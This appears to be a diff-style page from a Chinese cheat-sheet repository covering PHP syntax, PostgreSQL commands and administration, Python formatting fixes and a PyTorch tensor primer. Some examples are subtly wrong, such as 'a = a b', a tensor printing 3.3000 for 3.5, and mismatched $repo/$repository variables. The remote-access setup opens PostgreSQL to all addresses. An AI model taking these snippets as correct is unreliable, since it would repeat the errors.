$a2 = array("hello", "world", "!");
$a3 = explode(",", "apple,pear,peach");
```
#### 混合 int 和 string 键
```php
$array = array(
"foo" => "bar",
"bar" => "foo",
100 => -100,
-100 => 100,
);
var_dump($array);
```
#### 短数组语法
```php
$array = [
"foo" => "bar",
"bar" => "foo",
];
```
### 多阵列
```php
$multiArray = [
[1, 2, 3],
[4, 5, 6],
[7, 8, 9],
];
print_r($multiArray[0][0]) # => 1
print_r($multiArray[0][1]) # => 2
print_r($multiArray[0][2]) # => 3
```
### 多类型
<!--rehype:wrap-class=row-span-2-->
```php
$array = array(
"foo" => "bar",
42 => 24,
"multi" => array(
"dim" => array(
"a" => "foo"
)
)
);
# => string(3) "bar"
var_dump($array["foo"]);
# => int(24)
var_dump($array[42]);
# => string(3) "foo"
var_dump($array["multi"]["dim"]["a"]);
```
### 操作
```php
$arr = array(5 => 1, 12 => 2);
$arr[] = 56; // 附加
$arr["x"] = 42; // 用键添加
sort($arr); // 排序
unset($arr[5]); // 消除
unset($arr); // 移除所有
```
查看: [数组函数](https://www.php.net/manual/en/ref.array.php)
### 索引迭代
```php
$array = array('a', 'b', 'c');
$count = count($array);
for ($i = 0; $i < $count; $i++) {
echo "i:{$i}, v:{$array[$i]}\n";
}
```
### 价值迭代
```php
$colors = array('red', 'blue', 'green');
foreach ($colors as $color) {
echo "Do you like $color?\n";
}
```
### 关键迭代
```php
$arr = ["foo" => "bar", "bar" => "foo"];
foreach ( $arr as $key => $value )
{
echo "key: " . $key . "\n";
echo "val: {$arr[$key]}\n";
}
```
### 串联阵列
```php
$a = [1, 2];
$b = [3, 4];
// PHP 7.4 以后
# => [1, 2, 3, 4]
$result = [...$a, ...$b];
```
### Into 函数
```php
$array = [1, 2];
function foo(int $a, int $b) {
echo $a; # => 1
echo $b; # => 2
}
foo(...$array);
```
### Splat运算符
```php
function foo($first, ...$other) {
var_dump($first); # => a
var_dump($other); # => ['b', 'c']
}
foo('a', 'b', 'c' /*, ...*/ );
// 或
function foo($first, string ...$other){}
```
PHP 运算符
-------
### 算术
:- | -
:- | -
`+` | 添加
`-` | 减法
`*` | 乘法
`/` | 分配
`%` | 取模
`**` | 求幂
### 分配
:- | -
:- | -
`a += b` | 如同 `a = a + b`
`a -= b` | 如同 `a = a b`
`a *= b` | 如同 `a = a * b`
`a /= b` | 如同 `a = a / b`
`a %= b` | 如同 `a = a % b`
### 比较
:- | -
:- | -
`==` | 平等的
`===` | 完全相同的
`!=` | 不相等
`<>` | 不相等
`!==` | 不相同
`<` | 少于
`>` | 比...更棒
`<=` | 小于或等于
`>=` | 大于或等于
`<=>` | 小于/等于/大于
### 逻辑的
:- | -
:- | -
`and` | 和
`or` | 或者
`xor` | 独家或
`!` | 不是
`&&` | 和
`\|\|` | 或者
### 算术
```php
// 算术
$sum = 1 + 1; // 2
$difference = 2 - 1; // 1
$product = 2 * 2; // 4
$quotient = 2 / 1; // 2
// 速记算术
$num = 0;
$num += 1; // 将 $num 增加 1
echo $num++; // 打印 1评估后的增量
echo ++$num; // 打印 3评估前的增量
$num /= $float; // 将商除并分配给 $num
```
### 按位
:- | -
:- | -
`&` | 和
`|` | 或(包括或)
`^` | 异或(异或)
`~` | 不是
`<<` | 左移
`>>` | 右移
PHP 条件
------
### If elseif else
```php
$a = 10;
$b = 20;
if ($a > $b) {
echo "a is bigger than b";
} elseif ($a == $b) {
echo "a is equal to b";
} else {
echo "a is smaller than b";
}
```
### Switch
```php
$x = 0;
switch ($x) {
case '0':
print "it's zero";
break;
case 'two':
case 'three':
// do something
break;
default:
// do something
}
```
### 三元运算符
```php
# => Does
print (false ? 'Not' : 'Does');
$x = false;
# => Does
print($x ?: 'Does');
$a = null;
$b = 'Does print';
# => a is unsert
echo $a ?? 'a is unset';
# => print
echo $b ?? 'b is unset';
```
### 匹配
```php
$statusCode = 500;
$message = match($statusCode) {
200, 300 => null,
400 => '未找到',
500 => '服务器错误',
default => '已知状态码',
};
echo $message; # => 服务器错误
```
查看: [Match](https://www.php.net/manual/en/control-structures.match.php)
### 匹配表达式
```php
$age = 23;
$result = match (true) {
$age >= 65 => 'senior',
$age >= 25 => 'adult',
$age >= 18 => 'young adult',
default => 'kid',
};
echo $result; # => young adult
```
PHP 循环
------
### while 循环
```php
$i = 1;
# => 12345
while ($i <= 5) {
echo $i++;
}
```
### do while 循环
```php
$i = 1;
# => 12345
do {
echo $i++;
} while ($i <= 5);
```
### for i 循环
```php
# => 12345
for ($i = 1; $i <= 5; $i++) {
echo $i;
}
```
### break 跳出循环
```php
# => 123
for ($i = 1; $i <= 5; $i++) {
if ($i === 4) {
break;
}
echo $i;
}
```
### continue 继续
```php
# => 1235
for ($i = 1; $i <= 5; $i++) {
if ($i === 4) {
continue;
}
echo $i;
}
```
### foreach 循环
```php
$a = ['foo' => 1, 'bar' => 2];
# => 12
foreach ($a as $k) {
echo $k;
}
```
查看: [Array iteration](#关键迭代)
PHP 函数
------
### 返回值
```php
function square($x)
{
return $x * $x;
}
echo square(4); # => 16
```
### 返回类型
```php
// 基本返回类型声明
function sum($a, $b): float {/*...*/}
function get_item(): string {/*...*/}
class C {}
// 返回一个对象
function getC(): C { return new C; }
```
### 可空返回类型
```php
// 在 PHP 7.1 中可用
function nullOrString(int $v) : ?string
{
return $v % 2 ? "odd" : null;
}
echo nullOrString(3); # => odd
var_dump(nullOrString(4)); # => NULL
```
查看: [Nullable types](https://www.php.net/manual/en/migration71.new-features.php)
### 无效函数
```php
// 在 PHP 7.1 中可用
function voidFunction(): void
{
echo 'Hello';
return;
}
voidFunction(); # => Hello
```
### 变量函数
```php
function bar($arg = '')
{
echo "In bar(); arg: '$arg'.\n";
}
$func = 'bar';
$func('test'); # => In bar(); arg: test
```
### 匿名函数
```php
$greet = function($name)
{
printf("Hello %s\r\n", $name);
};
$greet('World'); # => Hello World
$greet('PHP'); # => Hello PHP
```
### 递归函数
```php
function recursion($x)
{
if ($x < 5) {
echo "$x";
recursion($x + 1);
}
}
recursion(1); # => 1234
```
### 默认参数
```php
function coffee($type = "cappuccino")
{
return "Making a cup of $type.\n";
}
# => 制作一杯卡布奇诺
echo coffee();
# => 制作一杯
echo coffee(null);
# => 制作一杯浓缩咖啡
echo coffee("espresso");
```
### 箭头函数
```php
$y = 1;
$fn1 = fn($x) => $x + $y;
// 相当于按值使用 $y
$fn2 = function ($x) use ($y) {
return $x + $y;
};
echo $fn1(5); # => 6
echo $fn2(5); # => 6
```
PHP 类
------
### 构造函数 Constructor
```php
class Student {
public function __construct($name) {
$this->name = $name;
}
public function print() {
echo "Name: " . $this->name;
}
}
$alex = new Student("Alex");
$alex->print(); # => Name: Alex
```
### 继承 Inheritance
```php
class ExtendClass extends SimpleClass
{
// 重新定义父方法
function displayVar()
{
echo "Extending class\n";
parent::displayVar();
}
}
$extended = new ExtendClass();
$extended->displayVar();
```
### 类变量 Classes variables
<!--rehype:wrap-class=row-span-2-->
```php
class MyClass
{
const MY_CONST = 'value';
static $staticVar = 'static';
// 可见度
public static $var1 = 'pubs';
// 仅限类
private static $var2 = 'pris';
// 类和子类
protected static $var3 = 'pros';
// 类和子类
protected $var6 = 'pro';
// 仅限类
private $var7 = 'pri';
}
```
静态访问
```php
echo MyClass::MY_CONST; # => value
echo MyClass::$staticVar; # => static
```
### 魔术方法
```php
class MyClass
{
// 对象被视为字符串
public function __toString()
{
return $property;
}
// 与 __construct() 相反
public function __destruct()
{
print "Destroying";
}
}
```
### 接口
```php
interface Foo
{
public function doSomething();
}
interface Bar
{
public function doSomethingElse();
}
class Cls implements Foo, Bar
{
public function doSomething() {}
public function doSomethingElse() {}
}
```
各种各样的
------
### 基本错误处理
```php
try {
// 做一点事
} catch (Exception $e) {
// 处理异常
} finally {
echo "Always print!";
}
```
### PHP 8.0 中的异常
<!--rehype:wrap-class=col-span-2-->
```php {.wrap}
$nullableValue = null;
try {
$value = $nullableValue ?? throw new InvalidArgumentException();
} catch (InvalidArgumentException) { // 变量是可选的
// 处理我的异常
echo "print me!";
}
```
### 自定义异常
<!--rehype:wrap-class=row-span-2-->
```php
class MyException extends Exception {
// 做一点事
}
```
用法
```php
try {
$condition = true;
if ($condition) {
throw new MyException('bala');
}
} catch (MyException $e) {
// 处理我的异常
}
```
### Nullsafe 运算符
<!--rehype:wrap-class=row-span-2-->
```php
// 从 PHP 8.0.0 开始,这一行:
$result = $repo?->getUser(5)?->name;
// 相当于下面的代码:
if (is_null($repo)) {
$result = null;
} else {
$user = $repository->getUser(5);
if (is_null($user)) {
$result = null;
} else {
$result = $user->name;
}
}
```
另见: [Nullsafe 运算符](https://wiki.php.net/rfc/nullsafe_operator)
### 常用表达
```php
$str = "Visit jaywcjlove.github.io";
echo preg_match("/qu/i", $str); # => 1
```
查看: [PHP中的正则表达式](./regex.md#php中的正则表达式)
### fopen() 模式
:- | -
:- | -
`r` | 读
`r+` | 读写,前置
`w` | 写入,截断
`w+` | 读写,截断
`a` | 写,追加
`a+` | 读写,追加
### 运行时定义的常量
```php
define("CURRENT_DATE", date('Y-m-d'));
// 一种可能的表示
echo CURRENT_DATE; # => 2021-01-05
# => CURRENT_DATE is: 2021-01-05
echo 'CURRENT_DATE is: ' . CURRENT_DATE;
```
另见
----
- [PHP 官方中文文档](https://www.php.net/manual/zh/index.php) _(php.net)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/php/) _(learnxinyminutes.com)_

629
docs/postgres.md Normal file
View File

@ -0,0 +1,629 @@
PostgreSQL 备忘清单
===
[PostgreSQL](https://www.postgresql.org/docs/current/) 备忘清单为您提供了常用的 PostgreSQL 命令和语句。
入门
---------------
### 入门
切换和连接
```shell
$ sudo -u postgres psql
```
列出所有数据库
```shell
postgres=# \l
```
连接到名为 postgres 的数据库
```shell
postgres=# \c postgres
```
断开
```shell
postgres=# \q
postgres=# \!
```
### psql 命令
<!--rehype:wrap-class=col-span-2-->
参数 | 示例 | 说明
:- |- | -
`[-d] <database>` | psql -d mydb | 连接到数据库
`-U` | psql -U john mydb | 以特定用户身份连接
`-h` `-p` | psql -h localhost -p 5432 mydb | 连接到主机/端口
`-U` `-h` `-p` `-d` | psql -U admin -h 192.168.1.5 -p 2506 -d mydb | 连接远程 PostgreSQL
`-W` | psql -W mydb | 强制密码
`-c` | psql -c '\c postgres' -c '\dt' | 执行 SQL 查询或命令
`-H` | psql -c "\l+" -H postgres > database.html | 生成 HTML 报告
`-l` | psql -l | 列出所有数据库
`-f` | psql mydb -f file.sql | 从文件执行命令
`-V` | psql -V | 打印 psql 版本
<!--rehype:className=show-header-->
### 获得帮助
:- | -
:- | -
`\h` | SQL 命令语法帮助
`\h` DELETE | DELETE SQL 语句语法
`\?` | PostgreSQL 命令列表
在 PostgreSQL 控制台中运行
PostgreSQL 工作
-------
### Recon 观察
显示版本
```sql
SHOW SERVER_VERSION;
```
显示系统状态
```sql
\conninfo
```
显示环境变量
```sql
SHOW ALL;
```
列出用户
```sql
SELECT rolname FROM pg_roles;
```
显示当前用户
```sql
SELECT current_user;
```
显示当前用户的权限
```sql
\du
```
显示当前数据库
```sql
SELECT current_database();
```
显示数据库中的所有表
```sql
\dt
```
列出函数
```sql
\df <schema>
```
### Databases 数据库
列出数据库
```sql
\l
```
连接到数据库
```sql
\c <database_name>
```
显示当前数据库
```sql
SELECT current_database();
```
[创建数据库](http://www.postgresql.org/docs/current/static/sql-createdatabase.html)
```sql
CREATE DATABASE <database_name> WITH OWNER <username>;
```
<!--rehype:className=wrap-text-->
[删除数据库](http://www.postgresql.org/docs/current/static/sql-dropdatabase.html)
```sql
DROP DATABASE IF EXISTS <database_name>;
```
<!--rehype:className=wrap-text-->
[重命名数据库](http://www.postgresql.org/docs/current/static/sql-alterdatabase.html)
```sql
ALTER DATABASE <old_name> RENAME TO <new_name>;
```
<!--rehype:className=wrap-text-->
### Tables 表
列出当前数据库中的表
```sql
\dt
SELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;
```
<!--rehype:className=wrap-text-->
全局列表
```sql
\dt *.*.
SELECT * FROM pg_catalog.pg_tables
```
列表表架构
```sql
\d <table_name>
\d+ <table_name>
SELECT column_name, data_type, character_maximum_length
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = '<table_name>';
```
<!--rehype:className=wrap-text-->
[创建表](http://www.postgresql.org/docs/current/static/sql-createtable.html)
```sql
CREATE TABLE <table_name>(
<column_name> <column_type>,
<column_name> <column_type>
);
```
创建表,主键自增
```sql
CREATE TABLE <table_name> (
<column_name> SERIAL PRIMARY KEY
);
```
[删除表](http://www.postgresql.org/docs/current/static/sql-droptable.html)
```sql
DROP TABLE IF EXISTS <table_name> CASCADE;
```
### Permissions 权限
成为 postgres 用户,如果您有权限错误
```shell
sudo su - postgres
psql
```
[授予](http://www.postgresql.org/docs/current/static/sql-grant.html) 对数据库的所有权限
```sql
GRANT ALL PRIVILEGES ON DATABASE <db_name> TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予数据库连接权限
```sql
GRANT CONNECT ON DATABASE <db_name> TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予架构权限
```sql
GRANT USAGE ON SCHEMA public TO <user_name>;
```
授予函数权限
```sql
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予在所有表上选择、更新、插入、删除的权限
```sql
GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO <user_name>;
```
<!--rehype:className=wrap-text-->
在表上授予权限
```sql
GRANT SELECT, UPDATE, INSERT ON <table_name> TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予对表的选择权限
```sql
GRANT SELECT ON ALL TABLES IN SCHEMA public TO <user_name>;
```
<!--rehype:className=wrap-text-->
### Columns 列
[添加栏目](http://www.postgresql.org/docs/current/static/sql-altertable.html)
```sql
ALTER TABLE <table_name> IF EXISTS
ADD <column_name> <data_type> [<constraints>];
```
<!--rehype:className=wrap-text-->
更新栏
```sql
ALTER TABLE <table_name> IF EXISTS
ALTER <column_name> TYPE <data_type> [<constraints>];
```
<!--rehype:className=wrap-text-->
删除列
```sql
ALTER TABLE <table_name> IF EXISTS
DROP <column_name>;
```
将列更新为自增主键
```sql
ALTER TABLE <table_name>
ADD COLUMN <column_name> SERIAL PRIMARY KEY;
```
<!--rehype:className=wrap-text-->
使用自动递增的主键插入表中
```sql
INSERT INTO <table_name>
VALUES (DEFAULT, <value1>);
INSERT INTO <table_name> (<column1_name>,<column2_name>)
VALUES ( <value1>,<value2> );
```
<!--rehype:className=wrap-text-->
### Data 数据
[选择](http://www.postgresql.org/docs/current/static/sql-select.html) 所有数据
```sql
SELECT * FROM <table_name>;
```
读取一行数据
```sql
SELECT * FROM <table_name> LIMIT 1;
```
搜索数据
```sql
SELECT * FROM <table_name> WHERE <column_name> = <value>;
```
<!--rehype:className=wrap-text-->
[插入](http://www.postgresql.org/docs/current/static/sql-insert.html) 数据
```sql
INSERT INTO <table_name> VALUES( <value_1>, <value_2> );
```
<!--rehype:className=wrap-text-->
[更新](http://www.postgresql.org/docs/current/static/sql-update.html) 数据
```sql
UPDATE <table_name>
SET <column_1> = <value_1>, <column_2> = <value_2>
WHERE <column_1> = <value>;
```
<!--rehype:className=wrap-text-->
[删除](http://www.postgresql.org/docs/current/static/sql-delete.html) 所有数据
```sql
DELETE FROM <table_name>;
```
删除特定数据
```sql
DELETE FROM <table_name>
WHERE <column_name> = <value>;
```
### Users 用户
<!--rehype:wrap-class=col-span-2-->
列出角色
```sql
SELECT rolname FROM pg_roles;
```
[创建用户](http://www.postgresql.org/docs/current/static/sql-createuser.html)
```sql
CREATE USER <user_name> WITH PASSWORD '<password>';
```
[删除用户](http://www.postgresql.org/docs/current/static/sql-dropuser.html)
```sql
DROP USER IF EXISTS <user_name>;
```
[更改](http://www.postgresql.org/docs/current/static/sql-alterrole.html) 用户密码
```sql
ALTER ROLE <user_name> WITH PASSWORD '<password>';
```
### Schema
列出 Schemas
```sql
\dn
SELECT schema_name FROM information_schema.schemata;
SELECT nspname FROM pg_catalog.pg_namespace;
```
[创建架构](http://www.postgresql.org/docs/current/static/sql-createschema.html)
```sql
CREATE SCHEMA IF NOT EXISTS <schema_name>;
```
[删除模式](http://www.postgresql.org/docs/current/static/sql-dropschema.html)
```sql
DROP SCHEMA IF EXISTS <schema_name> CASCADE;
```
PostgreSQL 命令
-----------
### 表
:- | -
:- | -
`\d <table>` | 描述表
`\d+ <table>` | 详细描述表格
`\dt` | 列出当前模式中的表
`\dt *.*` | 列出所有模式中的表
`\dt <schema>.*` | 列出架构的表
`\dp` | 列出表访问权限
`\det[+]` | 列出外部表
### 查询缓冲区
:- | -
:- | -
`\e [FILE]` | 编辑查询缓冲区(或文件)
`\ef [FUNC]` | 编辑函数定义
`\p` | 显示内容
`\r` | 重置(清除)查询缓冲区
`\s [FILE]` | 显示历史记录或保存到文件
`\w FILE` | 将查询缓冲区写入文件
### 信息
<!--rehype:wrap-class=row-span-4-->
:- | -
:- | -
`\l[+]` | 列出所有数据库
`\dn[S+]` | 列出架构
`\di[S+]` | 列出索引
`\du[+]` | 列出角色
`\ds[S+]` | 列出序列
`\df[antw][S+]` | 列出函数
`\deu[+]` | 列出用户映射
`\dv[S+]` | 列表视图
`\dl` | 列出大对象
`\dT[S+]` | 列出数据类型
`\da[S]` | 列出聚合
`\db[+]` | 列出表空间
`\dc[S+]` | 列出转化
`\dC[+]` | 列出演员表
`\ddp` | 列出默认权限
`\dd[S]` | 显示对象描述
`\dD[S+]` | 列出域
`\des[+]` | 列出国外服务器
`\dew[+]` | 列出外部数据包装器
`\dF[+]` | 列出文本搜索配置
`\dFd[+]` | 列出文本搜索词典
`\dFp[+]` | 列出文本搜索解析器
`\dFt[+]` | 列出文本搜索模板
`\dL[S+]` | 列出程序语言
`\do[S]` | 列出运算符
`\dO[S+]` | 列出排序规则
`\drds` | 列出每个数据库的角色设置
`\dx[+]` | 列出扩展
`S`:显示系统对象,`+`:附加细节
### 连接
:- | -
:- | -
`\c [DBNAME]` | 连接到新数据库
`\encoding [ENCODING]` | 显示或设置客户端编码
`\password [USER]` | 更改密码
`\conninfo` | 显示信息
### 格式化
:- | -
:- | -
`\a` | 在未对齐和对齐之间切换
`\C [STRING]` | 设置表格标题,如果没有则取消设置
`\f [STRING]` | 显示或设置未对齐的字段分隔符
`\H` | 切换 HTML 输出模式
`\t [on\|off]` | 仅显示行
`\T [STRING]` | 设置或取消设置 HTML \<table\> 标签属性
`\x [on\|off]` | 切换扩展输出
### 输入输出
:- | -
:- | -
`\copy ...` | 导入/导出表 _另见_ [复制](#导入导出-csv)
`\echo [STRING]` | 打印字符串
`\i FILE` | 执行文件
`\o [FILE]` | 将所有结果导出到文件
`\qecho [STRING]` | 输出流的字符串
### 变量
:- | -
:- | -
`\prompt [TEXT] NAME` | 设置变量
`\set [NAME [VALUE]]` | 设置变量 _(如果没有参数,则列出所有变量)_
`\unset NAME` | 删除变量
### 杂项
:- | -
:- | -
`\cd [DIR]` | 更改目录
`\timing [on\|off]` | 切换时间
`\! [COMMAND]` | 在shell中执行
`\! ls -l` | 在shell中列出所有
### 大对象
- `\lo_export LOBOID FILE`
- `\lo_import FILE [COMMENT]`
- `\lo_list`
- `\lo_unlink LOBOID`
各种各样的
-------------
### 备份
使用 pg_dumpall 备份所有数据库
```shell
$ pg_dumpall -U postgres > all.sql
```
使用 pg_dump 备份数据库
```shell
$ pg_dump -d mydb -f mydb_backup.sql
```
- &nbsp; `-a` &nbsp; 只转储数据,而不是模式(schema)
- &nbsp; `-s` &nbsp; 只转储模式,不转储数据
- &nbsp; `-c` &nbsp; 在重新创建之前删除数据库
- &nbsp; `-C` &nbsp; 还原前创建数据库
- &nbsp; `-t` &nbsp; 仅转储命名表
- &nbsp; `-F` &nbsp; 格式(`c`:自定义,`d`:目录,`t`tar)
<!--rehype:className=style-none-->
使用 `pg_dump -?` 获取完整的选项列表
### 恢复
使用 psql 恢复数据库
```shell
$ psql -U user mydb < mydb_backup.sql
```
使用 pg_restore 恢复数据库
```shell
$ pg_restore -d mydb mydb_backup.sql -c
```
- &nbsp; `-U` &nbsp; 指定数据库用户
- &nbsp; `-c` &nbsp; 在重新创建之前删除数据库
- &nbsp; `-C` &nbsp; 还原前创建数据库
- &nbsp; `-e` &nbsp; 如果遇到错误退出
- &nbsp; `-F` &nbsp; 格式(`c`:自定义,`d`:目录,`t`:tar`p`:纯文本sql(默认))
<!--rehype:className=style-none-->
使用 `pg_restore -?` 获取完整的选项列表
### 远程访问
获取 postgresql.conf 的位置
```shell
$ psql -U postgres -c 'SHOW config_file'
```
附加到 postgresql.conf
```shell
listen_addresses = '*'
```
附加到 pg_hba.conf(与 postgresql.conf 相同的位置)
```shell
host all all 0.0.0.0/0 md5
host all all ::/0 md5
```
重启 PostgreSQL 服务器
```shell
$ sudo systemctl restart postgresql
```
### 导入/导出 CSV
将表格导出为 CSV 文件
```sql
\copy table TO '<path>' CSV
\copy table(col1,col1) TO '<path>' CSV
\copy (SELECT...) TO '<path>' CSV
```
将 CSV 文件导入表格
```sql
\copy table FROM '<path>' CSV
\copy table(col1,col1) FROM '<path>' CSV
```
另见:[复制](https://www.postgresql.org/docs/current/sql-copy.html)
另见
----
- [Posgres-cheatsheet](https://gist.github.com/apolloclark/ea5466d5929e63043dcf#posgres-cheatsheet) _(gist.github.com)_

View File

@ -10,7 +10,7 @@ Python 备忘单是 [Python 3](https://www.python.org/) 编程语言的单页参
- [Python](https://www.python.org/) _(python.org)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/python/) _(learnxinyminutes.com)_
- [Regex in python](./regex.md#python-中的正则表达式) _(quickref.me)_
- [Regex in python](./regex.md#python-中的正则表达式) _(jaywcjlove.github.io)_
### Hello World
@ -57,6 +57,7 @@ llo
查看: [Strings](#python-字符串)
### Lists
```python
mylist = []
mylist.append(1)
@ -67,8 +68,7 @@ for item in mylist:
查看: [Lists](#python-lists)
### If Else
### If Else
```python
num = 200
@ -77,6 +77,7 @@ if num > 0:
else:
print("num is not greater than 0")
```
查看: [流程控制](#python-流程控制)
### 循环
@ -88,8 +89,8 @@ for item in range(6):
else:
print("Finally finished!")
```
查看: [Loops](#python-循环)
查看: [Loops](#python-循环)
### 函数
@ -101,7 +102,7 @@ else:
来自函数的你好
```
查看: [Functions](#python-functions)
查看: [Functions](#函数)
### 文件处理
<!--rehype:wrap-class=col-span-2-->
@ -124,7 +125,7 @@ result = 16 / 4 # => 4.0 (Float Division)
result = 16 // 4 # => 4 (Integer Division)
result = 25 % 2 # => 1
result = 5 ** 3 # => 125
```
```
`/` 表示 x 和 y 的商,`//` 表示 x 和 y 的底商,另见 [StackOverflow](https://stackoverflow.com/a/183870/13192320)
@ -143,15 +144,15 @@ message += "Part 2."
### f-字符串(Python 3.6+)
```python
>>> website = 'Quickref.ME'
>>> website = 'Quick Reference'
>>> f"Hello, {website}"
"Hello, Quickref.ME"
"Hello, Quick Reference"
>>> num = 10
>>> f'{num} + 10 = {num + 10}'
'10 + 10 = 20'
```
查看: [Python F-Strings](#python-f-strings-since-python)
查看: [Python F-Strings](#f-字符串(Python 3.6+))
Python 数据类型
---------------
@ -165,6 +166,7 @@ multi_string = """Multiline Strings
Lorem ipsum dolor sit amet,
consectetur adipiscing elit """
```
查看: [Strings](#python-字符串)
### 数字
@ -194,8 +196,8 @@ list2 = [True, False, False]
list3 = [1, 5, 7, 9, 3]
list4 = list((1, 5, 7, 9, 3))
```
查看: [Lists](#python-lists)
查看: [Lists](#python-lists)
### 元组 Tuple
@ -334,7 +336,7 @@ o
'baco'
```
#### 迈着大
#### 步
```python
>>> s = '12345' * 5
@ -361,6 +363,7 @@ o
`len()` 函数返回字符串的长度
### 多份
```python
>>> s = '===+'
>>> n = 8
@ -396,7 +399,9 @@ True
name = "John"
print("Hello, %s!" % name)
```
---
```python
name = "John"
age = 23
@ -782,14 +787,14 @@ while x < 4:
x += 1 # Shorthand for x = x + 1
```
### Break
### Break
```python
x = 0
for index in range(10):
x = index * 10
if index == 5:
break
break
print(x)
```
@ -799,7 +804,7 @@ for index in range(10):
for index in range(3, 8):
x = index * 10
if index == 5:
continue
continue
print(x)
```
@ -948,6 +953,7 @@ with open("myfile.txt") as file:
for line in file:
print(line)
```
#### 带行号
```python
@ -956,7 +962,6 @@ for i, line in enumerate(file, start=1):
print("Number %s: %s" % (i, line))
```
### 字符串
#### 写一个字符串
@ -1082,8 +1087,9 @@ class ChildClass(ParentClass):
print("Child Method")
# 调用父级的 print_test()
super().print_test()
```
---
```
---
```python
>>> child_instance = ChildClass()
@ -1172,7 +1178,8 @@ Yoki.sound() # => Woof!
```python
# 这是单行注释
```
----------
---
```python
""" 可以写多行字符串
@ -1180,7 +1187,9 @@ Yoki.sound() # => Woof!
作为文档。
"""
```
----------
---
```python
''' 可以写多行字符串
使用三个',并且经常使用
@ -1215,11 +1224,18 @@ try:
# 使用“raise”来引发错误
raise IndexError("这是一个索引错误")
except IndexError as e:
pass # 通行证只是一个空操作。 通常你会在这里做恢复。
pass # pass只是一个空操作。 通常你会在这里做恢复。
except (TypeError, NameError):
pass # 如果需要,可以一起处理多个异常。
else: # try/except 块的可选子句。 必须遵循除块之外的所有内容
print("All good!") # 仅当 try 中的代码未引发异常时运行
finally: # 在所有情况下执行
print("我们可以在这里清理资源")
```
```
另见
----
- [Python](https://www.python.org/) _(python.org)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/python/) _(learnxinyminutes.com)_
- [Regex in python](./regex.md#python-中的正则表达式) _(jaywcjlove.github.io)_

263
docs/pytorch.md Normal file
View File

@ -0,0 +1,263 @@
Pytorch 备忘清单
===
Pytorch 是一种开源机器学习框架,可加速从研究原型设计到生产部署的过程,备忘单是 官网
备忘清单为您提供了 [Pytorch](https://pytorch.org/) 基本语法和初步应用参考
入门
-----
### 介绍
- [Pytorch 官网](https://pytorch.org/) _(pytorch.org)_
- [Pytorch 官方备忘清单](https://pytorch.org/tutorials/beginner/ptcheat.html) _(pytorch.org)_
### 认识 Pytorch
```python
from __future__ import print_function
import torch
x = torch.empty(5, 3)
>>> print(x)
tensor([
[2.4835e+27, 2.5428e+30, 1.0877e-19],
[1.5163e+23, 2.2012e+12, 3.7899e+22],
[5.2480e+05, 1.0175e+31, 9.7056e+24],
[1.6283e+32, 3.7913e+22, 3.9653e+28],
[1.0876e-19, 6.2027e+26, 2.3685e+21]
])
```
<!--rehype:className=wrap-text-->
Tensors 张量: 张量的概念类似于Numpy中的ndarray数据结构, 最大的区别在于Tensor可以利用GPU的加速功能.
### 创建一个全零矩阵
```python
x = torch.zeros(5, 3, dtype=torch.long)
>>> print(x)
tensor([[0, 0, 0],
[0, 0, 0],
[0, 0, 0],
[0, 0, 0],
[0, 0, 0]])
```
创建一个全零矩阵并可指定数据元素的类型为long
### 数据创建张量
```python
x = torch.tensor([2.5, 3.5])
>>> print(x)
tensor([2.5000, 3.3000])
```
Pytorch 的基本语法
---------------
### 加法操作(1)
```python
y = torch.rand(5, 3)
>>> print(x + y)
tensor([[ 1.6978, -1.6979, 0.3093],
[ 0.4953, 0.3954, 0.0595],
[-0.9540, 0.3353, 0.1251],
[ 0.6883, 0.9775, 1.1764],
[ 2.6784, 0.1209, 1.5542]])
```
### 加法操作(2)
```python
>>> print(torch.add(x, y))
tensor([[ 1.6978, -1.6979, 0.3093],
[ 0.4953, 0.3954, 0.0595],
[-0.9540, 0.3353, 0.1251],
[ 0.6883, 0.9775, 1.1764],
[ 2.6784, 0.1209, 1.5542]])
```
### 加法操作(3)
```python
# 提前设定一个空的张量
result = torch.empty(5, 3)
# 将空的张量作为加法的结果存储张量
torch.add(x, y, out=result)
>>> print(result)
tensor([[ 1.6978, -1.6979, 0.3093],
[ 0.4953, 0.3954, 0.0595],
[-0.9540, 0.3353, 0.1251],
[ 0.6883, 0.9775, 1.1764],
[ 2.6784, 0.1209, 1.5542]])
```
### 加法操作(4)
```python
y.add_(x)
>>> print(y)
tensor([[ 1.6978, -1.6979, 0.3093],
[ 0.4953, 0.3954, 0.0595],
[-0.9540, 0.3353, 0.1251],
[ 0.6883, 0.9775, 1.1764],
[ 2.6784, 0.1209, 1.5542]])
```
注意: 所有 `in-place` 的操作函数都有一个下划线的后缀。
比如 `x.copy_(y)`, `x.add_(y)`, 都会直接改变x的值
### 张量操作
```python
>>> print(x[:, 1])
tensor([-2.0902, -0.4489, -0.1441, 0.8035, -0.8341])
```
<!--rehype:className=wrap-text-->
### 张量形状
```python
x = torch.randn(4, 4)
# tensor.view()操作需要保证数据元素的总数量不变
y = x.view(16)
# -1代表自动匹配个数
z = x.view(-1, 8)
>>> print(x.size(), y.size(), z.size())
torch.Size([4, 4]) torch.Size([16]) torch.Size([2, 8])
```
<!--rehype:className=wrap-text-->
### 取张量元素
```python
x = torch.randn(1)
>>> print(x)
>>> print(x.item())
tensor([-0.3531])
-0.3530771732330322
```
### Torch Tensor 和 Numpy array互换
```python
a = torch.ones(5)
>>> print(a)
tensor([1., 1., 1., 1., 1.])
```
Torch Tensor和Numpy array共享底层的内存空间, 因此改变其中一个的值, 另一个也会随之被改变
### Torch Tensor 转换为 Numpy array
```python
b = a.numpy()
>>> print(b)
[1. 1. 1. 1. 1.]
```
### Numpy array转换为Torch Tensor
```python
import numpy as np
a = np.ones(5)
b = torch.from_numpy(a)
np.add(a, 1, out=a)
>>> print(a)
>>> print(b)
[2. 2. 2. 2. 2.]
tensor([2., 2., 2., 2., 2.], dtype=torch.float64)
```
<!--rehype:className=wrap-text-->
注意: 所有在CPU上的Tensors, 除了CharTensor, 都可以转换为Numpy array并可以反向转换.
导入 Imports
---
### 一般
```python
# 根包
import torch
